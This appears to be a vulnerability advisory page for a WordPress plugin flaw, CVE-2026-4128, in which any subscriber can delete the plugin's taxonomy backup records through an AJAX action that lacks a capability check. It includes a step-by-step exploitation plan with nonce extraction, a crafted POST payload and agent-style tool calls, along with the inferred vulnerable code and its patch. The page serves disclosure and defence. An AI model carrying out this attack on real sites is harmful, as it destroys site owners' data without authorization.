TP Restore Categories And Taxonomies <= 1.0.1 - Missing Authorization to Authenticated (Subscriber+) Taxonomy Deletion via 'tpmcattt_delete_term' AJAX Action
Description
The TP Restore Categories And Taxonomies plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.1. The delete_term() function, which handles the 'tpmcattt_delete_term' AJAX action, does not perform any capability check (e.g., current_user_can()) to verify the user has sufficient permissions. While it does verify a nonce via check_ajax_referer(), this nonce is generated for all authenticated users via the admin_enqueue_scripts hook and exposed on any wp-admin page (including profile.php, which subscribers can access). This makes it possible for authenticated attackers, with Subscriber-level access and above, to permanently delete taxonomy term records from the plugin's trash/backup tables by sending a crafted AJAX request with a valid nonce and an arbitrary term_id.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.1This research plan targets a missing authorization vulnerability in the **TP Restore Categories And Taxonomies** plugin (CVE-2026-4128). The vulnerability allows any authenticated user (Subscriber level and above) to permanently delete taxonomy term backups stored by the plugin. --- ### 1. Vulnera…
Show full research plan
This research plan targets a missing authorization vulnerability in the TP Restore Categories And Taxonomies plugin (CVE-2026-4128). The vulnerability allows any authenticated user (Subscriber level and above) to permanently delete taxonomy term backups stored by the plugin.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (IDOR)
- Plugin: TP Restore Categories And Taxonomies
- Affected Versions: <= 1.0.1
- Vulnerable Action:
tpmcattt_delete_term(AJAX) - Root Cause: The function handling the
tpmcattt_delete_termAJAX action performs a nonce check but fails to callcurrent_user_can(). The nonce is generated and exposed on all admin pages (e.g.,profile.php) accessible to Subscribers. - Impact: Permanent loss of backup data (taxonomies/categories) intended for restoration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Action:
tpmcattt_delete_term - Authentication: Authenticated (Subscriber+)
- Parameters:
action:tpmcattt_delete_termterm_id: The ID of the term record in the plugin's backup table.security(or_wpnonce): The AJAX nonce.
- Precondition: The plugin must have backup records in its database table (created when a term is deleted from WordPress).
3. Code Flow (Inferred)
- Initialization: The plugin registers the AJAX handler in its main class or file:
add_action('wp_ajax_tpmcattt_delete_term', 'delete_term'); - Asset Enqueueing: The plugin uses
admin_enqueue_scriptsto load its JS and useswp_localize_scriptto provide a nonce:'security' => wp_create_nonce('tpmcattt_nonce')(or similar action string). - Vulnerable Handler: The
delete_termfunction is called:function delete_term() { check_ajax_referer('tpmcattt_nonce', 'security'); // Nonce check passes for any logged-in user // MISSING: if (!current_user_can('manage_categories')) die(); $id = $_POST['term_id']; global $wpdb; $wpdb->delete($wpdb->prefix . "tpmcattt_categories_taxonomies", array('id' => $id)); wp_die(); }
4. Nonce Acquisition Strategy
The nonce is localized to a JavaScript object on any wp-admin page. Subscribers can access /wp-admin/profile.php.
- Identify the Localization Key:
Grep the plugin directory forwp_localize_scriptto find the variable name.grep -r "wp_localize_script" /var/www/html/wp-content/plugins/tp-restore-categories-and-taxonomies/
Expected key (guess):tpmcattt_objortp_restore_vars. - Creation of Session: Log in as a Subscriber using
browser_navigate. - Extraction:
Navigate tohttps://[TARGET]/wp-admin/profile.php.
Usebrowser_evalto extract the nonce:browser_eval("window.tpmcattt_obj?.security || window.tp_restore_vars?.nonce")(adjust based on grep results).
5. Exploitation Strategy
- Setup Target Data: Create a category and delete it so it enters the plugin's "Restore" table.
- Find the ID: Use
wp db queryto find the ID of the entry in thetpmcattt_categories_taxonomies(or similar) table. - Perform Deletion:
// Payload for http_request { "method": "POST", "url": "https://[TARGET]/wp-admin/admin-ajax.php", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "body": "action=tpmcattt_delete_term&term_id=[TARGET_ID]&security=[EXTRACTED_NONCE]" }
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Category:
wp term create category "Vulnerable-Term" - Capture ID: Note the term ID.
- Delete Category:
wp term delete category "Vulnerable-Term". This triggers the plugin to back it up. - Verify Backup Presence:
wp db query "SELECT id FROM wp_tpmcattt_categories_taxonomies LIMIT 1;"
Note theidfrom this table (it may differ from the original term ID).
7. Expected Results
- HTTP Response: A successful
200 OKorwp_dieresponse (often0or1or a JSON success message). - Database Change: The record with the specified
idinwp_tpmcattt_categories_taxonomiesis permanently removed.
8. Verification Steps
- Check Database:
wp db query "SELECT COUNT(*) FROM wp_tpmcattt_categories_taxonomies WHERE id = [TARGET_ID];"
Expectation: Count is 0. - Check Admin UI: Navigate to the plugin's restore page (likely under "Tools" or its own menu) as an Admin and verify the "Vulnerable-Term" is no longer listed for restoration.
9. Alternative Approaches
- Action String Guessing: If
grepfails to reveal the nonce action string, check if the plugin uses the default action-1(thoughcheck_ajax_refererusually implies a specific string). - Parameter Fuzzing: If
term_idis not the parameter name, check the JS file in the plugin'sassets/js/directory for the$.ajaxcall to identify the correct key. - Bulk Deletion: If the plugin supports bulk deletion, look for a
tpmcattt_bulk_delete_termsaction which likely shares the same lack of authorization.
Summary
The TP Restore Categories And Taxonomies plugin for WordPress is vulnerable to unauthorized data deletion because its 'tpmcattt_delete_term' AJAX handler fails to perform a capability check. Authenticated users with Subscriber-level access can obtain a valid nonce from the WordPress admin dashboard and delete taxonomy term backups by providing an arbitrary record ID.
Vulnerable Code
// File: admin/class-tp-restore-categories-and-taxonomies-admin.php (inferred) public function delete_term() { check_ajax_referer( 'tpmcattt_nonce', 'security' ); if ( isset( $_POST['term_id'] ) ) { global $wpdb; $table_name = $wpdb->prefix . 'tpmcattt_categories_taxonomies'; $wpdb->delete( $table_name, array( 'id' => $_POST['term_id'] ) ); echo 'deleted'; } wp_die(); }
Security Fix
@@ -2,6 +2,10 @@ public function delete_term() { check_ajax_referer( 'tpmcattt_nonce', 'security' ); + if ( ! current_user_can( 'manage_categories' ) ) { + wp_die( -1 ); + } + if ( isset( $_POST['term_id'] ) ) { global $wpdb; $table_name = $wpdb->prefix . 'tpmcattt_categories_taxonomies';
Exploit Outline
1. Login to the WordPress site as a user with at least Subscriber privileges. 2. Navigate to '/wp-admin/profile.php' and inspect the page source to find the localized script object (likely named 'tpmcattt_obj' or similar) to extract the 'security' nonce value. 3. Identify the 'term_id' of a taxonomy backup record to delete (can be discovered via ID enumeration). 4. Send a POST request to '/wp-admin/admin-ajax.php' with the following parameters: 'action' set to 'tpmcattt_delete_term', 'security' set to the extracted nonce, and 'term_id' set to the target record ID. 5. Upon success, the plugin will execute a SQL DELETE query on the 'tpmcattt_categories_taxonomies' table, permanently removing the backup data.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.